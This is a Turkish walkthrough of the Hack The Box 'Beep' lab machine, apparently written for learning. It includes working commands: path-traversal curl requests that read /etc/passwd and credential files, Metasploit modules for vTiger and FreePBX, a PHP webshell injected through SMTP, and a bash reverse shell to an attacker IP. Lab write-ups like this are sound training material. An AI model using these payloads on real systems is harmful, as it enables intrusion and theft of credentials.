Beep sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.
- IP Adresi: 10.10.10.7
- İşletim Sistemi: Linux
A) Port Tarama
Standart port taraması sonucunda 15 adet portun açık olduğu tespit edilmiştir.
nmap -Pn -T4 –max-retries 1 –max-scan-delay 20 –defear-rst-ratelimit –open -oA Quick_10.10.10.7.nmap
cat Quick_10.10.10.7.nmap
Ardından açık olduğu tespit edilen portlar üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve detaylı tarama gerçekleştirilir.
Açık portlar aşağıdaki gibidir:
- TCP\22: OpenSSH 4.3
- TCP\25: Postfix smtpd
- TCP\80: Apache httpd 2.2.3
- TCP\110: Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7–7.el5_6.4
- TCP\111: Rpcbind
- TCP\143: Cyrus imapd 2.3.7-Invoca-RPM-2.3.7–7.el5_6.4
- TCP\443: HTTPS
- TCP\747: Fijutsu-dev
- TCP\993: Cyrus imapd
- TCP\995: Cyrus pop3d
- TCP\3306: MySQL
- TCP\4445: Upnotifyp
- TCP\4559: Hylafax
- TCP\5038: N/A
- TCP\10000: MiniServ 1.570 (Webmin httpd)
B) SSH Servisinin İncelenmesi
Gerçekleştirilen nmap taramasında, TCP\22 portunda çalışan SSH servisinin sürümünde (OpenSSH 4.3) herhangi bir zafiyet bulunmadığı tespit edilmiştir.
C) SMTP Servisinin İncelenmesi
Gerçekleştirilen nmap taramasında, TCP\25 portunda Postfix smtpd servisi çalışmaktadır. Bu port üzerinde SMTP relay izni bulunduğu ve “asterisk@localhost” adresine mail atılabildiği görülmüştür. Zafiyetin istismarı, sonraki adımlarda gerçekleştirilecektir.
D) HTTP & HTTPS Servisinin İncelenmesi
Gerçekleştirilen nmap taramasında, TCP\80 portunda Apache (HTTPD 2.2.3) servisi çalışmaktadır. İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde karşılaştığımız site, Elastix oturum açma sayfası olup, TCP\443 portuna otomatik olarak yönlendirmektedir.
Not: Elastix, açık kaynak kodlu santral (IP PBX – analog kablo hatlari yerine IP/internet üzerinden telefon sistemi), mesajlaşma, mailleşme, fax gönderimi,.. sunucu yazılımıdır.
Öncelikle Owasp Dirbuster aracı ile dizin taraması gerçekleştirilir.
Dizin tarama işlemi sonrası aşağıda verilen dizinler tespit edilmiş olup belirtilen saldırı vektörleri kullanılabilir.
- admin –> Yönetim paneline giriş için kullanılabilir.
- /configs
- help –> Uygulama hakkında detay bilgi elde edilebilir.
- cgi-bin –> ShellShock zafiyeti bulunuyor olabilir.
- images –> Resimlerin bulunduğu dizine zararlı bir dosya yüklenebilir.
- /lang
- /libs
- /modules
- /panel
- /recordings
- /robots.txt
- /static
- /themes
- /var
- /vtigercrm
- …
Not: Uygulama SSLv3 desteklemektedir. SSL hatası alınmaması için, erişim sağlayan tarama makinesinde OpenSSL yapılandırma dosyasında güncelelme yapılması gerekebilir.
sed -i ‘s,^\(MinProtocol[ ]*=\).*,\1’TLSv1.0′,g’ /etc/ssl/openssl.cnf
sed -i ‘s,^\(CipherString[ ]*=\).*,\1’DEFAULT@SECLEVEL=1′,g’ /etc/ssl/openssl.cnf
Not: TCP\443 portunun “/mail” adresinde RoundCube WebMail uygulaması bulunmaktadır. Ancak bu uygulamada herhangi bir zafiyet tespit edilememiştir.
Not: TCP\10000 portunda, MiniServ (MiniServ 1.570) servisi çalışmaktadır. İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde Webmin arayüzü ile karşılaşılmaktadır. Bu servisteki “session_login.cgi” URL’inde ShellShock zafiyeti bulunmaktadır. Bu zafiyetin istismar yöntemi için kaynaklardaki Siberportal [ii] ve Hackingarticles bağlantıları incelenebilir.
https://10.10.10.7:10000/
E) vTiger CRM 5.1.0 Üzerinde Yerel Dosya Dahil Etme Zafiyetinin İstismarı – 1
TCP\443 portunda çalışan uygulamanın “/vtigercrm” dizinine erişildiğinde vTiger CRM sürümünün 5.1.0 olduğu görülmektedir.
vTiger CRM 5.1.0’de CVE-2012-4867 ID’li bir zafiyet bulunmaktadır.
https://www.exploit-db.com/exploits/18770
Bu zafiyetin istismarı ile dosyalar okunabilmektedir.
curl -k “https://10.10.10.7//vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00”
Böylece “user.txt” dosyası da okunabilmiştir.
https://10.10.10.7//vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../home/fanis/user.txt%00
CDR MySQL veritabanı yapılandırma dosyası (/etc/asterisk/cdr_mysql.conf) okunabilir.
curl -k “https://10.10.10.7//vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/cdr_mysql.conf%00”
Elde edilen Mysql kimlik bilgileri aşağıdaki gibidir.
- dbname=asteriskcdrdb
- password = jEhdIekWmdjE
- user = asteriskuser
Not: Kimlik bilgileri elde edilmiş olmasına rağmen, Mysql servisine erişim olmadığı için bu bilgiler kullanılamamıştır.
Voicemail yapılandırma dosyası (/etc/asterisk/voicemail.conf) okunabilmiştir.
curl -k “https://10.10.10.7//vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/voicemail.conf%00”
SIP yapılandırma dosyası (/etc/asterisk/sip_additional.conf) okunabilmiştir.
curl -k “https://10.10.10.7//vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/sip_additional.conf%00”
Elde edilen secret bilgisi aşağıdaki gibidir.
- secret=fji#REH9i##nrIIOnjdwP923UEj
Asterix yönetim portali yapılandırma dosyası (/etc/amportal.conf) okunabilmiştir.
curl -k –silent “https://10.10.10.7//vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/amportal.conf%00” | grep -v “^#”|grep .
Elde edilen Asterix yönetim portali kimlik bilgileri aşağıdaki gibidir.
- AMPDBUSER=asteriskuser
- AMPDBPASS=jEhdIekWmdjE
- AMPMGRUSER=admin
- AMPMGRPASS=jEhdIekWmdjE
- FOPPASSWORD=jEhdIekWmdjE
- ARI_ADMIN_USERNAME=admin
- ARI_ADMIN_PASSWORD=jEhdIekWmdjE
Bu kimlik bilgileri ile vTiger CRM arayüzüne oturum açılabilmiştir.
F) vTiger CRM Üzerinde Yerel Dosya Dahil Etme Zafiyetinin İstismarı – 2
Elastix 2.2.0 üzerindeki graph.php sayfasında test edilmiş (başka sürümlerdeki etkinliği hakkında bilgi verilmemiş olan) bir zafiyet bulunmaktadır.
https://www.exploit-db.com/exploits/37637
Bu zafiyet ile de dosya okuması gerçekleştirilebilmektedir.
view-source:https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
Elde edilen Asterix yönetim portali kimlik bilgileri aşağıdaki gibidir.
- AMPDBUSER=asteriskuser
- AMPDBPASS=jEhdIekWmdjE
- AMPMGRUSER=admin
- AMPMGRPASS=jEhdIekWmdjE
- FOPPASSWORD=jEhdIekWmdjE
- ARI_ADMIN_USERNAME=admin
- ARI_ADMIN_PASSWORD=jEhdIekWmdjE
G) Oturum Açılan vTiger CRM Üzerinde Dosya Yükleme Zafiyetinin İstismarı
vTiger CRM 6.3.0 ve önceki sürümlerde CVE-2016-1713 ve CVE-2015-6000 ID’li bir zafiyet bulunmaktadır. Bu zafiyet kullanılarak, vTiger CRM üzerinde oturum açtıktan sonra (kimlik doğrulamalı olarak), dosya yükleme zafiyeti istismar edilebilir ve komut satırı erişimi elde edilebilir.
https://www.exploit-db.com/exploits/38345
Not: Resim dosyası yükleme (File Upload) zafiyeti ile ilgili detaylı bilgi için kaynaklardaki Siberportal [i] bağlantısı da incelenebilir.
Resmin yükleneceği alan aşağıdaki gibidir.
Settings > Company Details > Edit
Zafiyet detayındaki adımlar işletilir.
Böylece zararlı bir dosya yüklenebilmiştir.
Komut satırı erişimi elde edildiği görülmüştür.
H) vTiger CRM 5.1.0’ın MSF vtiger_soap_upload ile İstismarı
vTiger CRM 5.1.0-5.4.0 sürümlerinde CVE-2013-3214 ve CVE-2013-3215 ID’li bir zafiyet bulunmaktadır. Bu zafiyet kullanılarak validateSession() fonksiyonundaki kimlik doğrulaması hatası sebebi ile dosya yüklenebilir ve komut satırı erişimi elde edilebilir.
Bu zafiyetin istismarı için MSF vtiger_soap_upload istismar modülü kullanılabilir.
use exploit/multi/http/vtiger_soap_upload
set RHOST 10.10.10.7
set RPORT 443
set SSL true
exploit
Böylece user.txt dosyası da elde edilmiştir.
pwd
cd /home
ls
cd fanis
ls
cat user.txt
I) FreePBX’in MSF freepbx_callmenum ile İstismarı
FreePBX 2.10.0 / 2.9.0 sürümlerinde (ve muhtemelen daha önceki sürümlerde) CVE-2012-4869 ID’li bir zafiyet bulunmaktadır. Bu zafiyet kullanılarak callme_page.php sayfasındaki eksik kontrol sebebi ile komut satırı erişimi elde edilebilir.
Bu zafiyetin istismarı için MSF freepbx_callmenum istismar modülü kullanılabilir.
use exploit/unix/http/freepbx_callmenum
set RHOSTS 10.10.10.7
set RPORT 443
set SSL true
show options
İstismar sırasında aranacak aralık düşürülerek modül çalıştırıldığında komut satırı erişimi elde edilebilir.
set EXTENSION 200-300
run
Böylece asterisk kullanıcısı yetkileri ile işletim sistemi erişimi elde edilmiştir.
sessions -i 2
whoami
hostname
J) Yerel Dosya Dahil Etme Zafiyeti Üzerinden SMTP Komut Enjeksiyonu Zafiyetinin İstismarı
TCP\25 portu üzerinde SMTP relay izni bulunduğu ve “asterisk@localhost” adresine mail atılabildiği görülmüştür.
nc 10.10.10.7 25
EHLO orhan.beep.htb
VRFY asterisk@localhost
MAIL FROM: orhan@orhan.com
RCPT TO: asterisk@localhost
DATA
SUBJECT: You Are Owned
<? echo system($_REQUEST[‘cmd’]); ?>
.
Mail içeriği (body) olarak da, ters bağlantı sağlayan bir komut (PHP shell kodu) enjekte edilmeye çalışıldığında ters bağlantı elde edilebildiği görülecektir. Önceki adımlarda, vTiger CRM üzerinde graph.php ve sortfieldsjson.php için LFI zafiyetleri (yerel dosya dahil etme) tespit edilmişti. Mail gönderilen PHP shell kodunu tetiklemek için, bu LFI zafiyetlerinin birinden yararlanılacaktır.
Gönderilen mail /var/mail/asterisk içerisinde bulunmakta olup, “whoami” komutu çalıştırılabilmiştir.
GET vtigercrm/graph.php?current_language=../../../../../../../..///var/mail/asterisk%00&module=Accounts&action=&cmd=whoami HTTP/1.1
Ters bağlantı elde edebilmek için de HTTP talep metodu GET‘ten POST‘a çevrilir.
Ters bağlantı talebini yakalayacak dinleyici başlatılır.
nc -lvnp 8090
Ters bağlantı talebi gerçekleştirilir.
POST vtigercrm/graph.php HTTP/1.1
current_language=../../../../../../../..///var/mail/asterisk%00&module=Accounts&action=&cmd=bash -i >& /dev/tcp/10.10.14.15/8090 0>&1
Böylece ters bağlantı elde edilmiş olur.
K) Elastix Arayüzünün İncelenmesi
Elde edilen Asterix yönetim portali kimlik bilgileri aşağıdaki gibidir.
- AMPDBUSER=asteriskuser
- AMPDBPASS=jEhdIekWmdjE
- AMPMGRUSER=admin
- AMPMGRPASS=jEhdIekWmdjE
- FOPPASSWORD=jEhdIekWmdjE
- ARI_ADMIN_USERNAME=admin
- ARI_ADMIN_PASSWORD=jEhdIekWmdjE
“admin” kullanıcı adı ve “jEhdIekWmdjE” parolası ile oturum açılarak erişim sağlanabildiği görülmüştür.
Yapılandırma ayarları incelenebilir. FreePBX sürümünün 2.8.1.4 olduğu görülmektedir.
Yapılan aramalar görülmektedir.
“root” veya “asterisk” hesapları ile SSH yapılabileceği de görülmektedir.
L) “root” Yetkisi ile SSH Erişiminin Sağlanması
Tespit edilen kimlik bilgileri aşağıdaki gibidir.
- Kullanıcı Adı: asteriskuser, admin
- Parola: jEhdIekWmdjE
Elde edilen parola ve “root” kullanıcı adı ile erişim sağlanabildiği görülmüştür.
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@10.10.10.7
M) Hak Yükseltme Zafiyetinin İstismarı
“root” kullanıcı hesabının doğrudan elde edilememesi durumunda hak yükseltme zafiyeti ile de “root” yetkisine erişim sağlanabilirdi. Hak yükseltmek için “nmap” aracına verilen “sudo/suid” yapılandırması istismar edilebilir. “nmap” aracının “–interactive” parametresinin kullanımı ile ilgili detay için kaynaklardaki Siberportal [iii] bağlantısı incelenebilir.
Kaynaklar:
https://medium.com/@orhan_yildirim/beep-hackthebox-write-up-bf75e29dccea
https://medium.com/@sdgeek/hack-the-box-htb-beep-53b8e5eda6ca
https://lillox.info/beep-machine.html
https://syrion.me/blog/htb-beep/
[i] https://www.siberportal.org/red-team/web-application-penetration-tests/exploiting-file-upload-vulnerability-by-creating-custom-php-files-on-owasp-dvwa-medium-security-level/
[ii] https://www.siberportal.org/red-team/web-application-penetration-tests/vekil-sunucu-uzerinden-erisilen-web-servisinde-shellshock-zafiyetinin-istismar-edilmesi/
[iii] https://www.siberportal.org/red-team/linux-penetration-tests/suid-biti-etkin-olan-nmap-araci-ile-hak-yukseltme-isleminin-gerceklestirilmesi/
https://www.jdksec.com/hack-the-box/beep
https://codemonkeyism.co.uk/htb-beep/
https://medium.com/@ranakhalil101/hack-the-box-beep-writeup-w-o-metasploit-daebfdfc346a
https://fragrant10.github.io/2019/10/18/beep.html
https://www.programmersought.com/article/30735565920/